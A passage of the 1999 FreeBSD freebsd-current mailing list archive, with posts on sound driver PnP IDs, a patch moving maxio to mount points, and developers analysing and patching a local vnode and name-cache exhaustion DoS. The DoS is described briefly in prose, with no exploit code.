that only between releases should functionality be lost.  I'll agree
that you only specifically sited the newpcm driver.

>  CAM was a rather different situation since it was one of
> those painful-but-necessary trade-offs we had to accept both the pros
> and the cons for.  The a.out -> ELF transition was painful too, and
> I'm sure there were a few ports which broke and/or older commercial
> software packages which became harder to use as a result, but you
> won't hear anyone talking about going back to a.out for just that
> reason.
> 
> Each situation is different and there are NO hard-and-fast rules about
> when it does and does not make sense to accept the loss of certain
> functionality in exchange for new functionality.  To even assume
> that such a rule would be practical would be like saying that life
> itself always fits into neat, well-compartmentalized little boxes. :)

And I won't disagree here either, but I will re-phrase, once FreeBSD
has made the decision to go forward, with the understanding that
some functionality is being lost, it has never made the step backwards.
Which, IMHO, is _good_.  But saying FreeBSD would step backwards if
newpcm was missing ``equivalent functionality'' at 4.0, again IMHO,
is an overstatement.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1:40: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id ED422154BD
	for <current@freebsd.org>; Tue, 28 Sep 1999 01:40:03 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA95834;
	Tue, 28 Sep 1999 09:42:55 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Tue, 28 Sep 1999 09:42:55 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Andrew Sparrow <spadger@best.com>
Cc: imp@village.org, current@freebsd.org
Subject: Re: New PnP code does not work for me(?)
In-Reply-To: <199909280134.SAA00744@shell7.ba.best.com>
Message-ID: <Pine.BSF.4.10.9909280941070.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Andrew Sparrow wrote:

> 
> > :      	case 0x31008c0e: /* CTL0031 */
> > :      	case 0x41008c0e: /* CTL0041 */
> > :      	case 0x42008c0e: /* CTL0042 */
> > : +    	case 0x44008c0e: /* CTL0044 */
> > :      	case 0x45008c0e: /* CTL0045 */
> 
> > What is CTL0043?  Seems like a logical progression to me :-)
> 
> > Warner
> 
> And me. Built-in sound on a Micron W6-Li SMP socket 8 board:
> 
> Card assigned CSN #2
> Vendor ID CTL00f0 (0xf0008c0e), Serial Number 0xffffffff
> PnP Version 1.0, Vendor Version 16
> Device Description: Creative ViBRA16X PnP
> 
> Logical Device ID: CTL0043 0x43008c0e #0
> Device Description: Audio
> 
> <SNIP>
> 
> 
> Also, for the sake of completeness, an add-on ISA WaveBlaster card
> (supposed to make an SB16 equivalent to an AWE32, not recognised
> by any driver I've tried so far):
> 
> Card assigned CSN #1
> Vendor ID CTL00a5 (0xa5008c0e), Serial Number 0x0001c333
> PnP Version 1.0, Vendor Version 16
> Device Description: Creative EMU8000 PnP
> 
> Logical Device ID: CTL0021 0x21008c0e #0
> Device Description: WaveTable
> TAG Start DF

Well this is the same logical ID as the WaveTable on the AWE32 which makes
sense. If the awe driver is ported over to the new pnp format, it will be
easy to add this ID. (Does the old awe driver support AWE32 as well as
AWE64?).

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1:46:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 9BB0E154BD
	for <current@freebsd.org>; Tue, 28 Sep 1999 01:45:52 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA01576;
	Tue, 28 Sep 1999 09:48:42 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Tue, 28 Sep 1999 09:48:42 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Wang Shidong <wangsd@ust.hk>
Cc: current@freebsd.org
Subject: Re: ESS1869 logical ID
In-Reply-To: <19990928000113.A302@ust.hk>
Message-ID: <Pine.BSF.4.10.9909280948060.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tue, 28 Sep 1999, Wang Shidong wrote:

> Following the suggestion of Mr. Peter Wemm, I manage to get my ESS1869
> sound card work again. The attachments are the `dmesg' message and the
> `pnpinfo -v' output. I am grateful if the ID can be added.
> 
> Thank you very much.

Can you confirm that this patch matches your card:

Index: sb.c
===================================================================
RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
retrieving revision 1.24
diff -u -r1.24 sb.c
--- sb.c	1999/09/28 08:25:08	1.24
+++ sb.c	1999/09/28 08:46:26
@@ -1274,6 +1274,10 @@
     	case 0x68187316: /* ESS1868 */
 		s = "ESS1868";
 		break;
+
+	case 0x69187316: /* ESS1869 */
+		s = "ESS1869";
+		break;
     	}
     	if (s) {
 		device_set_desc(dev, s);

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  2: 6:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from not.demophon.com (ns.demophon.com [193.65.70.13])
	by hub.freebsd.org (Postfix) with ESMTP id 5734A150EF
	for <current@freebsd.org>; Tue, 28 Sep 1999 02:06:28 -0700 (PDT)
	(envelope-from will@not.demophon.com)
Received: (from will@localhost)
	by not.demophon.com (8.9.3/8.8.7) id MAA18772;
	Tue, 28 Sep 1999 12:06:23 +0300 (EEST)
	(envelope-from will)
To: Kenneth Culver <culverk@culverk.student.umd.edu>
Cc: current@freebsd.org
Subject: Re: just found this
References: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu.newsgate.clinet.fi>
From: Ville-Pertti Keinonen <will@iki.fi>
Date: 28 Sep 1999 12:06:18 +0300
In-Reply-To: Kenneth Culver's message of "28 Sep 1999 06:54:04 +0300"
Message-ID: <867llb1k39.fsf@not.demophon.com>
Lines: 24
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Kenneth Culver <culverk@culverk.student.umd.edu> writes:

> I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
> and it chugged along to about `02/03000' (meaning it created 3 files
> and about 63000 or so links), consuming a whopping 34MB of wired
> kernel memory (according to `top'), before all file system activity
> came to a screeching halt and the machine was unusable.

Looking at the code, it would seem that the number of directories is
what's causing problems (one is created for each link).  The directory
vnodes can't be thrown out because a name cache entry exists in each
one.  All of the name cache entries point to the same vnode, which
can't be thrown out because it is open.

So the main problem here is that one open vnode can be used to lock in
an arbitrary number of vnodes.

This should actually be fixed by something I did as part of some
patches I played with earlier this year, avoiding the need to force
parent directories of vnodes to be kept in memory.  I'll try to come
up with a version that works against -current and doesn't contain of
the other (experimental) features of the earlier patches.  IIRC the
part required to allow parent vnodes to be reused is quite simple.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  3:41:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 6B94F14F9B
	for <current@freebsd.org>; Tue, 28 Sep 1999 03:41:45 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id MAA25273
	for <current@freebsd.org>; Tue, 28 Sep 1999 12:41:36 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: current@freebsd.org
Subject: patch: v_maxio -> mnt_maxio
From: Poul-Henning Kamp <phk@freebsd.org>
Date: Tue, 28 Sep 1999 12:41:36 +0200
Message-ID: <25271.938515296@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


This patch moves the maxio information from all vnodes to the 
mountpoint.  It is a property of the device being mounted, not
of the individual vnodes on the mounted device.

Poul-Henning

Index: kern/vfs_cluster.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/vfs_cluster.c,v
retrieving revision 1.90
diff -u -r1.90 vfs_cluster.c
--- vfs_cluster.c	1999/09/20 19:53:23	1.90
+++ vfs_cluster.c	1999/09/28 08:41:26
@@ -106,7 +106,7 @@
 	 * Try to limit the amount of read-ahead by a few
 	 * ad-hoc parameters.  This needs work!!!
 	 */
-	racluster = vp->v_maxio/size;
+	racluster = vp->v_mount->mnt_maxio/size;
 	maxra = 2 * racluster + (totread / size);
 	if (maxra > MAXRA)
 		maxra = MAXRA;
@@ -363,7 +363,7 @@
 	for (bn = blkno, i = 0; i < run; ++i, bn += inc) {
 		if (i != 0) {
 			if ((bp->b_npages * PAGE_SIZE) +
-				round_page(size) > vp->v_maxio)
+				round_page(size) > vp->v_mount->mnt_maxio)
 				break;
 
 			if ((tbp = incore(vp, lbn + i)) != NULL) {
@@ -556,7 +556,7 @@
 
 	if (vp->v_clen == 0 || lbn != vp->v_lastw + 1 ||
 	    (bp->b_blkno != vp->v_lasta + btodb(lblocksize))) {
-		maxclen = vp->v_maxio / lblocksize - 1;
+		maxclen = vp->v_mount->mnt_maxio / lblocksize - 1;
 		if (vp->v_clen != 0) {
 			/*
 			 * Next block is not sequential.
@@ -761,7 +761,7 @@
 				  ((bp->b_blkno + (dbsize * i)) !=
 				    tbp->b_blkno) ||
 				  ((tbp->b_npages + bp->b_npages) >
-				    (vp->v_maxio / PAGE_SIZE))) {
+				    (vp->v_mount->mnt_maxio / PAGE_SIZE))) {
 					BUF_UNLOCK(tbp);
 					splx(s);
 					break;
Index: kern/vfs_subr.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/vfs_subr.c,v
retrieving revision 1.228
diff -u -r1.228 vfs_subr.c
--- vfs_subr.c	1999/09/21 00:36:15	1.228
+++ vfs_subr.c	1999/09/28 08:41:40
@@ -593,7 +593,6 @@
 	*vpp = vp;
 	vp->v_usecount = 1;
 	vp->v_data = 0;
-	vp->v_maxio = DFLTPHYS;
 	splx(s);
 
 	vfs_object_create(vp, p, p->p_ucred);
Index: kern/vfs_syscalls.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/vfs_syscalls.c,v
retrieving revision 1.136
diff -u -r1.136 vfs_syscalls.c
--- vfs_syscalls.c	1999/09/25 14:14:21	1.136
+++ vfs_syscalls.c	1999/09/28 08:47:32
@@ -278,6 +278,7 @@
 	strncpy(mp->mnt_stat.f_fstypename, vfsp->vfc_name, MFSNAMELEN);
 	mp->mnt_vnodecovered = vp;
 	mp->mnt_stat.f_owner = p->p_ucred->cr_uid;
+	mp->mnt_maxio = DFLTPHYS;
 	VOP_UNLOCK(vp, 0, p);
 update:
 	/*
Index: miscfs/specfs/spec_vnops.c
===================================================================
RCS file: /home/ncvs/src/sys/miscfs/specfs/spec_vnops.c,v
retrieving revision 1.114
diff -u -r1.114 spec_vnops.c
--- spec_vnops.c	1999/09/25 18:52:03	1.114
+++ spec_vnops.c	1999/09/28 08:42:11
@@ -251,13 +251,6 @@
 		if (!dev->si_bsize_phys)
 			dev->si_bsize_phys = DEV_BSIZE;
 	}
-	maxio = dev->si_iosize_max;
-	if (!maxio)
-		maxio = DFLTPHYS;
-	if (maxio > MAXPHYS)
-		maxio = MAXPHYS;
-	vp->v_maxio = maxio;
-
 	return (error);
 }
 
Index: sys/mount.h
===================================================================
RCS file: /home/ncvs/src/sys/sys/mount.h,v
retrieving revision 1.79
diff -u -r1.79 mount.h
--- mount.h	1999/09/19 06:24:21	1.79
+++ mount.h	1999/09/28 08:36:42
@@ -110,6 +110,7 @@
 	struct statfs	mnt_stat;		/* cache of filesystem stats */
 	qaddr_t		mnt_data;		/* private data */
 	time_t		mnt_time;		/* last time written*/
+	u_int		mnt_maxio;		/* Max io request size */
 };
 
 /*
Index: sys/vnode.h
===================================================================
RCS file: /home/ncvs/src/sys/sys/vnode.h,v
retrieving revision 1.101
diff -u -r1.101 vnode.h
--- vnode.h	1999/09/21 00:36:15	1.101
+++ vnode.h	1999/09/28 08:36:52
@@ -111,7 +111,6 @@
 	daddr_t	v_cstart;			/* start block of cluster */
 	daddr_t	v_lasta;			/* last allocation */
 	int	v_clen;				/* length of current cluster */
-	int	v_maxio;			/* maximum I/O cluster size */
 	struct vm_object *v_object;		/* Place to store VM object */
 	struct	simplelock v_interlock;		/* lock on usecount and flag */
 	struct	lock *v_vnlock;			/* used for non-locking fs's */
Index: ufs/ffs/ffs_vfsops.c
===================================================================
RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_vfsops.c,v
retrieving revision 1.105
diff -u -r1.105 ffs_vfsops.c
--- ffs_vfsops.c	1999/09/11 00:46:07	1.105
+++ ffs_vfsops.c	1999/09/28 08:56:01
@@ -620,6 +620,10 @@
 	error = VOP_OPEN(devvp, ronly ? FREAD : FREAD|FWRITE, FSCRED, p);
 	if (error)
 		return (error);
+	if (devvp->v_rdev->si_iosize_max > mp->mnt_maxio)
+		mp->mnt_maxio = devvp->v_rdev->si_iosize_max;
+	if (mp->mnt_maxio > MAXPHYS)
+		mp->mnt_maxio = MAXPHYS;
 
 	if (VOP_IOCTL(devvp, DIOCGPART, (caddr_t)&dpart, FREAD, cred, p) != 0)
 		size = DEV_BSIZE;
Index: ufs/ufs/ufs_bmap.c
===================================================================
RCS file: /home/ncvs/src/sys/ufs/ufs/ufs_bmap.c,v
retrieving revision 1.33
diff -u -r1.33 ufs_bmap.c
--- ufs_bmap.c	1999/09/20 21:14:43	1.33
+++ ufs_bmap.c	1999/09/28 08:39:52
@@ -133,8 +133,7 @@
 		*runb = 0;
 	}
 
-	vp->v_maxio = devvp->v_maxio;
-	maxrun = vp->v_maxio / mp->mnt_stat.f_iosize - 1;
+	maxrun = mp->mnt_maxio / mp->mnt_stat.f_iosize - 1;
 
 	xap = ap == NULL ? a : ap;
 	if (!nump)
--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  4:52:15 1999
Delivered-To: freebsd-current@freebsd.org
Received: from not.demophon.com (ns.demophon.com [193.65.70.13])
	by hub.freebsd.org (Postfix) with ESMTP id 538EE14EAE
	for <current@freebsd.org>; Tue, 28 Sep 1999 04:52:11 -0700 (PDT)
	(envelope-from will@not.demophon.com)
Received: (from will@localhost)
	by not.demophon.com (8.9.3/8.8.7) id OAA19142;
	Tue, 28 Sep 1999 14:52:07 +0300 (EEST)
	(envelope-from will)
To: Ville-Pertti Keinonen <will@iki.fi>
Cc: current@freebsd.org, culverk@culverk.student.umd.edu
Subject: Re: just found this
References: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu.newsgate.clinet.fi> <867llb1k39.fsf@not.demophon.com.newsgate.clinet.fi>
From: Ville-Pertti Keinonen <will@iki.fi>
Date: 28 Sep 1999 14:52:06 +0300
In-Reply-To: Ville-Pertti Keinonen's message of "28 Sep 1999 12:19:56 +0300"
Message-ID: <86670v1cex.fsf@not.demophon.com>
Lines: 87
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Replying to myself...

> Looking at the code, it would seem that the number of directories is
> what's causing problems (one is created for each link).  The directory
> vnodes can't be thrown out because a name cache entry exists in each
> one.  All of the name cache entries point to the same vnode, which
> can't be thrown out because it is open.

My initial guess wasn't correct (I mis-read the program due to the
lack of indentation) - huge amounts of memory actually are consumed by
name cache entries, not just vnodes...

Setting a limit for the number of entries in the name cache should be
more acceptable if actual directory data blocks were cached more
efficiently, which I believe has been implemented in -current by Matt
Dillon, but it isn't enabled by default because of the wasteful use of
entire memory pages.  Even if making it the default were acceptable
(IMHO it isn't) it still doesn't make fixing things easy because there
is no longer a LRU policy for name cache entries, they are merely
associated with vnodes.

Balancing the sizes of multiple caches can get quite interesting.

> This should actually be fixed by something I did as part of some
> patches I played with earlier this year, avoiding the need to force
> parent directories of vnodes to be kept in memory.  I'll try to come
> up with a version that works against -current and doesn't contain of
> the other (experimental) features of the earlier patches.  IIRC the
> part required to allow parent vnodes to be reused is quite simple.

This was trivial, and it did sort of help, but only to the extent that
it made the DoS harder, requiring other programs to be run to increase
the vnode allocation count first.

It fixes another potential DoS attack (create a file, keep it open,
create a huge number of directories, each with a link to the file,
none of the directory vnodes can be deallocated), so I'll include it
anyhow.  It does have some negative impact on caching behavior so it
probably isn't desirable until an improved vnode caching policy can be
introduced.  The changes (against -current, but should be trivially
modifiable for 3.x) are:

Index: vfs_cache.c
===================================================================
RCS file: /m/cvs/freebsd/src/sys/kern/vfs_cache.c,v
retrieving revision 1.40
diff -u -r1.40 vfs_cache.c
--- vfs_cache.c	1999/08/28 00:46:23	1.40
+++ vfs_cache.c	1999/09/28 11:04:22
@@ -122,8 +122,6 @@
 {
 	LIST_REMOVE(ncp, nc_hash);
 	LIST_REMOVE(ncp, nc_src);
-	if (LIST_EMPTY(&ncp->nc_dvp->v_cache_src)) 
-		vdrop(ncp->nc_dvp);
 	if (ncp->nc_vp) {
 		TAILQ_REMOVE(&ncp->nc_vp->v_cache_dst, ncp, nc_dst);
 	} else {
@@ -292,8 +290,6 @@
 	bcopy(cnp->cn_nameptr, ncp->nc_name, ncp->nc_nlen);
 	ncpp = NCHHASH(dvp, cnp);
 	LIST_INSERT_HEAD(ncpp, ncp, nc_hash);
-	if (LIST_EMPTY(&dvp->v_cache_src))
-		vhold(dvp);
 	LIST_INSERT_HEAD(&dvp->v_cache_src, ncp, nc_src);
 	if (vp) {
 		TAILQ_INSERT_HEAD(&vp->v_cache_dst, ncp, nc_dst);
Index: vfs_subr.c
===================================================================
RCS file: /m/cvs/freebsd/src/sys/kern/vfs_subr.c,v
retrieving revision 1.228
diff -u -r1.228 vfs_subr.c
--- vfs_subr.c	1999/09/21 00:36:15	1.228
+++ vfs_subr.c	1999/09/28 11:04:33
@@ -523,10 +523,6 @@
 				TAILQ_REMOVE(&vnode_free_list, vp, v_freelist);
 				TAILQ_INSERT_TAIL(&vnode_tmp_list, vp, v_freelist);
 				continue;
-			} else if (LIST_FIRST(&vp->v_cache_src)) {
-				/* Don't recycle if active in the namecache */
-				simple_unlock(&vp->v_interlock);
-				continue;
 			} else {
 				break;
 			}



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5: 3:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 9BA8014DE2
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 05:03:28 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id OAA25753;
	Tue, 28 Sep 1999 14:02:18 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Ville-Pertti Keinonen <will@iki.fi>
Cc: current@FreeBSD.ORG, culverk@culverk.student.umd.edu
Subject: Re: just found this 
In-reply-to: Your message of "28 Sep 1999 14:52:06 +0300."
             <86670v1cex.fsf@not.demophon.com> 
Date: Tue, 28 Sep 1999 14:02:18 +0200
Message-ID: <25751.938520138@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <86670v1cex.fsf@not.demophon.com>, Ville-Pertti Keinonen writes:
>
>Replying to myself...
>
>> Looking at the code, it would seem that the number of directories is
>> what's causing problems (one is created for each link).  The directory
>> vnodes can't be thrown out because a name cache entry exists in each
>> one.  All of the name cache entries point to the same vnode, which
>> can't be thrown out because it is open.
>
>My initial guess wasn't correct (I mis-read the program due to the
>lack of indentation) - huge amounts of memory actually are consumed by
>name cache entries, not just vnodes...
>
>Balancing the sizes of multiple caches can get quite interesting.

I have been mulling over this issue for some time.  My current thinking
is that pending some more well thought out mechanism, the right thing
to do here is to detect the DOS and react to that, not to handicap
the caching in general.

The easiest way to detect this DOS is probably to keep track of the

	namecache entries
	-----------------
	live vnodes

ratio, and enforce an upper limit on it.


--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5:26:19 1999
Delivered-To: freebsd-current@freebsd.org
Received: from main.avias.com (avias-gw.corbina.net [195.14.40.4])
	by hub.freebsd.org (Postfix) with ESMTP id 4CB5A15155
	for <current@freebsd.org>; Tue, 28 Sep 1999 05:26:11 -0700 (PDT)
	(envelope-from camel@avias.com)
Received: from camel.avias.com (camel.avias.com [195.14.38.87])
	by main.avias.com (8.9.3/8.9.2) with SMTP id QAA55276;
	Tue, 28 Sep 1999 16:25:54 +0400 (MSD)
	(envelope-from camel@avias.com)
From: Ilya Naumov <camel@avias.com>
Reply-To: camel@avias.com
To: Takanori Watanabe <takawata@shidahara1.planet.sci.kobe-u.ac.jp>
Subject: Re: Experimental ACPI driver.
Date: Tue, 28 Sep 1999 16:24:08 +0400
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <199909231518.AAA00842@libr.scitec.kobe-u.ac.jp> <12981.990926@avias.com> <199909280528.OAA11023@shidahara1.planet.sci.kobe-u.ac.jp>
In-Reply-To: <199909280528.OAA11023@shidahara1.planet.sci.kobe-u.ac.jp>
Cc: current@freebsd.org
MIME-Version: 1.0
Message-Id: <99092816255900.01356@camel.avias.com>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

$BWT(B , 28 $BSE(B1999, $BwY(B $BNAPISALI(B:

> Apply this patch.

thanks, it works:

ACPI: Found ACPI BIOS data at 0xc00f6c10 (<123456>, RSDT@7ff3000)
acpi0: <123456> on motherboard
acpi0: ADDR RANGE 7ff3000 d000 (mapped 0xc779c000)
acpi0: ADDR RANGE 7ff0000 3000 (mapped 0xc77a9000)
acpi0: RSDT have 2 entries
acpi0: RSDT entry0 FACP
acpi0:  FACP found
acpi0:  DSDT found Size=8812 bytes
acpi0:  FACS Found Size=64 bytes
acpi0: RSDT entry1 BOOT
acpi0: at 0xb2 irq 9

so, what does mean? :)                             

-- 

sincerely,
ilya naumov (at work)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5:29:23 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.oeno.com (ns.oeno.com [194.100.99.145])
	by hub.freebsd.org (Postfix) with SMTP id BD64015155
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 05:29:19 -0700 (PDT)
	(envelope-from will@ns.oeno.com)
Received: (qmail 16940 invoked by uid 1001); 28 Sep 1999 12:29:17 -0000
Date: 28 Sep 1999 12:29:17 -0000
Message-ID: <19990928122917.16937.qmail@ns.oeno.com>
From: Ville-Pertti Keinonen <will@iki.fi>
To: phk@critter.freebsd.dk
Cc: current@FreeBSD.ORG, culverk@culverk.student.umd.edu
In-reply-to: <25751.938520138@critter.freebsd.dk> (message from Poul-Henning
	Kamp on Tue, 28 Sep 1999 14:02:18 +0200)
Subject: Re: just found this
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


> I have been mulling over this issue for some time.  My current thinking
> is that pending some more well thought out mechanism, the right thing
> to do here is to detect the DOS and react to that, not to handicap
> the caching in general.
> 
> The easiest way to detect this DOS is probably to keep track of the
> 
> 	namecache entries
> 	-----------------
> 	live vnodes
> 
> ratio, and enforce an upper limit on it.

That seems like a reasonable approach.

If you want to include the other attack I mentioned (I just tried it,
got up to > 160000 vnodes), then you have to exclude vnodes that are
only live because of v_cache_src entries from the count.

BTW: You still haven't committed the v_id patch I sent you in May.  Is
there any specific reason for this?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5:34:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 24DB1151B9
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 05:34:56 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id OAA25866;
	Tue, 28 Sep 1999 14:34:12 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Ville-Pertti Keinonen <will@iki.fi>
Cc: current@FreeBSD.ORG, culverk@culverk.student.umd.edu
Subject: Re: just found this 
In-reply-to: Your message of "28 Sep 1999 12:29:17 -0000."
             <19990928122917.16937.qmail@ns.oeno.com> 
Date: Tue, 28 Sep 1999 14:34:12 +0200
Message-ID: <25864.938522052@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <19990928122917.16937.qmail@ns.oeno.com>, Ville-Pertti Keinonen writ
es:

>> The easiest way to detect this DOS is probably to keep track of the
>> 
>> 	namecache entries
>> 	-----------------
>> 	live vnodes
>> 
>> ratio, and enforce an upper limit on it.
>
>That seems like a reasonable approach.
>
>If you want to include the other attack I mentioned (I just tried it,
>got up to > 160000 vnodes), then you have to exclude vnodes that are
>only live because of v_cache_src entries from the count.

It should probably only count vnodes in "actual" use.

>BTW: You still haven't committed the v_id patch I sent you in May.  Is
>there any specific reason for this?

I seem to remember we stalled on some detail which wouldn't or
couldn't work was it NFS ?

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5:46:11 1999
Delivered-To: freebsd-current@freebsd.org
Received: from smtp01.wxs.nl (smtp01.wxs.nl [195.121.6.61])
	by hub.freebsd.org (Postfix) with ESMTP
	id 34E0A14F73; Tue, 28 Sep 1999 05:46:07 -0700 (PDT)
	(envelope-from asmodai@wxs.nl)
Received: from daemon.ninth-circle.org ([195.121.197.30]) by smtp01.wxs.nl
          (Netscape Messaging Server 3.61)  with ESMTP id AAA21D;
          Tue, 28 Sep 1999 14:46:06 +0200
Received: (from asmodai@localhost)
	by daemon.ninth-circle.org (8.9.3/8.9.3) id OAA35308;
	Tue, 28 Sep 1999 14:46:51 +0200 (CEST)
	(envelope-from asmodai)
Date: Tue, 28 Sep 1999 14:46:51 +0200
From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: hackers@freebsd.org, current@freebsd.org
Subject: Call for projects
Message-ID: <19990928144651.B35262@daemon.ninth-circle.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
Organisation: Ninth-Circle Enterprises
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Since no-one except Poul-Henning gave a start with this I thought I
might try my hand at this.

Given FreeBSD's rapid development over the last year a lot of things
around the releases have changed. Nik Clayton and his team are doing a
terrific job to keep up with the documentation.

However, what has been lacking, at least in my opinion, is the lack of
alerting less advanced, more time-restrained, however you wish to call
it, hackers of tasks which need to be fixed in FreeBSD. The PR system is
nice and works pretty well [thanks to a lot of people] but it is not
what I meant with my above words.

What I did mean though, is that when someone messes with source code at
large in FreeBSD to let the hacker/developer-community know of these
changes plus point out some areas which need to be fixed/looked-out with
these patches in place. Small-term projects.

Also, put out more patches on either -hackers or -current [depending on
what platform the patches aim at] and call for more test reviews to
eliminate more and more initial bugs upon introducing.

Plus, let the doc guys know what changes have been made and in which
places the docs should be altered. Doesn't take much, but remember that
not every docperson is a kernel hacker and vice versa, so UTSL, how well
intended doesn't always help in these cases.

All of this is merely a call for clearer communication between the
diverse efforts within the project as a whole and external hackers with
no access to the repository but who wish to send-pr diffs/patches to fix
up forgotten/neglected/overseen areas in the code.

Thanking you all in advance for helping on this.
It's together we make this project work...

-- 
Jeroen Ruigrok van der Werven/Asmodai                  asmodai(at)wxs.nl
The BSD Programmer's Documentation Project <http://home.wxs.nl/~asmodai>
